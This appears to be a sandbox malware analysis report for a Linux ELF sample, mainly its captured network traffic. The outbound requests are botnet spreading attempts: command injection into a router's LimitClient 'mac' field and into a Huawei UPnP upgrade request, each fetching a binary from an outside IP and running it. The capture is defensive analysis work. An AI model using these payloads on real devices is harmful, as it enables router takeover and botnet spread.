Feb 29, 2024 10:48:03.471049070 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:03.861313105 CET	602	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Thu, 29 Feb 2024 09:48:03 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:09.981714010 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:10.135508060 CET	279	IN	HTTP/1.0 400 Bad request Server: Zscaler/6.2 Content-Type: text/html Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 3e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br></p></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:13.244719982 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:13.338951111 CET	602	IN	HTTP/1.1 400 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 435 Date: Thu, 29 Feb 2024 09:48:13 GMT Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 30 20 e2 80 93 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 400 Bad Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 Bad Request</h1></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:13.344598055 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:13.549699068 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Access-Control-Allow-Origin: * Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 2f 3e 3c 74 69 74 6c 65 3e 45 78 74 65 6e 64 65 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 6a 71 75 65 72 79 2e 69 6e 6c 69 6e 65 65 64 69 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 63 6f 6e 66 69 72 6d 5f 72 65 62 6f 6f 74 28 29 20 7b 69 6e 70 75 74 5f 62 6f 78 3d 63 6f 6e 66 69 72 6d 28 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 72 65 62 6f 6f 74 3f 22 29 3b 69 66 20 28 69 6e 70 75 74 5f 62 6f 78 3d 3d 74 72 75 65 29 20 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 20 28 27 72 65 62 6f 6f 74 2e 68 74 6d 6c 27 2c 27 5f 73 65 6c 66 27 2c 66 61 6c 73 65 29 7d 7d 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 61 73 6b 5f 66 6f 72 5f 63 6f 6e 66 69 72 6d 28 6d 73 67 2c 20 64 65 73 74 50 61 67 65 29 20 7b 69 6e 70 75 74 5f 62 6f 78 3d 63 6f 6e 66 69 72 6d 28 6d 73 67 29 3b 69 66 20 28 69 6e 70 75 74 5f 62 6f 78 3d 3d 74 72 75 65 29 20 7b 77 69 6e 64 6f 77 2e 6f 70 65 6e 20 28 64 65 73 74 50 61 67 65 2c 27 5f 73 65 6c 66 27 2c 66 61 6c 73 65 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 61 73 6b 5f 66 6f 72 5f 63 6f 6e 66 69 72 6d 5f 70 6f 70 75 70 28 6d 73 67 2c 20 64 65 73 74 50 61 67 65 2c 20 64 6f 52 65 66 72 65 73 68 2c 20 63 61 6c 6c 62 61 63 6b 29 20 7b 69 6e 70 75 74 5f 62 6f 78 3d 63 6f 6e 66 69 72 6d 28 6d 73 67 29 3b 69 66 20 28 69 6e 70 75 74 5f 62 6f 78 3d 3d 74 72 75 65 29 20 7b 70 6f 73 74 5f 70 61 67 65 28 64 65 73 74 50 61 67 65 2c 20 64 6f 52 65 66 72 65 73 68 2c 20 63 61 6c 6c 62 61 63 6b 29 3b 7d 7d 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69 6f 6e 20 70 6f 73 74 5f 70 61 67 65 28 75 72 6c 2c 20 64 6f 52 65 66 72 65 73 68 2c 20 63 61 6c 6c 62 61 63 6b 29 20 7b 09 24 2e 70 6f 73 74 28 75 72 6c 2c 20 66 75 6e 63 74 69 6f 6e 28 64 61 74 61 29 20 7b 09 09 69 66 20 28 64 61 74 61 20 26 26 20 64 61 74 61 2e 6c 65 6e 67 74 68 20 3e 20 30 29 20 7b 09 09 09 69 66 20 28 64 61 74 61 2e 69 6e 64 65 78 4f 66 28 22 4c 4f 47 49 4e 5f 49 53 5f 52 45 51 55 49 52 45 44 22 29 20 3d 3d 3d 20 2d 31 29 09 09 09 09 61 6c 65 72 74 28 64 61 74 61 29 3b 09 09 09 69 66 20 28 64 6f 52 65 66 72 65 73 68 20 3d 3d 3d 20 75 6e 64 65 66 69 6e 65 64 20 7c 7c 20 64 6f 52 65 66 72 65 73 68 20 3d 3d 3d 20 6e 75 6c 6c 20 7c 7c 20 64 6f 52 65 66 72 65 73 68 20 3d 3d 3d 20 74 72 75 65 29 20 7b 09 09 09 09 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3b 20 09 09 09 7d 09 09 7d 09 09 65 6c 73 65 20 69 66 20 28 64 6f 52 65 66 72 65 73 68 20 26 26 20 64 6f 52 65 66 72 65 73 68 3d Data Ascii: <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/><meta http-equiv="Cache-Control" content="no-cache"/><title>Extender - Page Not Found</title><script type="text/javascript" src="jquery.min.js"></script><script type="text/javascript" src="jquery.inlineedit.js"></script><script type="text/javascript">function confirm_reboot() {input_box=confirm("Do you really want to reboot?");if (input_box==true) {window.open ('reboot.html','_self',false)}}</script><script type="text/javascript">function ask_for_confirm(msg, destPage) {input_box=confirm(msg);if (input_box==true) {window.open (destPage,'_self',false)}}function ask_for_confirm_popup(msg, destPage, doRefresh, callback) {input_box=confirm(msg);if (input_box==true) {post_page(destPage, doRefresh, callback);}}</script><script type="text/javascript">function post_page(url, doRefresh, callback) {$.post(url, function(data) {if (data && data.length > 0) {if (data.indexOf("LOGIN_IS_REQUIRED") === -1)alert(data);if (doRefresh === undefined \|\| doRefresh === null \|\| doRefresh === true) {window.location.reload(true); }}else if (doRefresh && doRefresh=

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:15.999072075 CET	862	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 493 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 29, 2024 10:48:16.320137024 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report V1J7GFIwfY.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.02JbGR (deleted)

/tmp/qemu-open.03CqXN (deleted)

/tmp/qemu-open.04pYKQ (deleted)

/tmp/qemu-open.06d4GP (deleted)

/tmp/qemu-open.0GifgR (deleted)

/tmp/qemu-open.0JngwP (deleted)

/tmp/qemu-open.0MrMFR (deleted)

/tmp/qemu-open.0ORbXQ (deleted)

/tmp/qemu-open.0OhcMR (deleted)

/tmp/qemu-open.0TXlLR (deleted)

/tmp/qemu-open.0Xh0LR (deleted)

/tmp/qemu-open.0XkCHO (deleted)

/tmp/qemu-open.0aLCcR (deleted)

/tmp/qemu-open.0bKkyP (deleted)

/tmp/qemu-open.0c21PN (deleted)

/tmp/qemu-open.0jXxFP (deleted)

/tmp/qemu-open.0sNuJO (deleted)

/tmp/qemu-open.0xbPjR (deleted)

/tmp/qemu-open.12QQdR (deleted)

/tmp/qemu-open.14eM1N (deleted)

/tmp/qemu-open.1AugwQ (deleted)

/tmp/qemu-open.1EYf6O (deleted)

/tmp/qemu-open.1Hf5NR (deleted)

/tmp/qemu-open.1M0uPQ (deleted)

/tmp/qemu-open.1QxpzQ (deleted)

Linux Analysis Report
V1J7GFIwfY.elf

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:17.036555052 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:17.244412899 CET	349	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/html; charset=utf-8 Content-Length: 130 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:17.121925116 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:17.410207987 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:19.634970903 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:19.844846010 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Timestamp	Bytes transferred	Direction	Data
Feb 29, 2024 10:48:23.195307016 CET	237	OUT	POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin Data Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Feb 29, 2024 10:48:23.476141930 CET	103	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close

Timestamp	Bytes transferred	Direction	Data
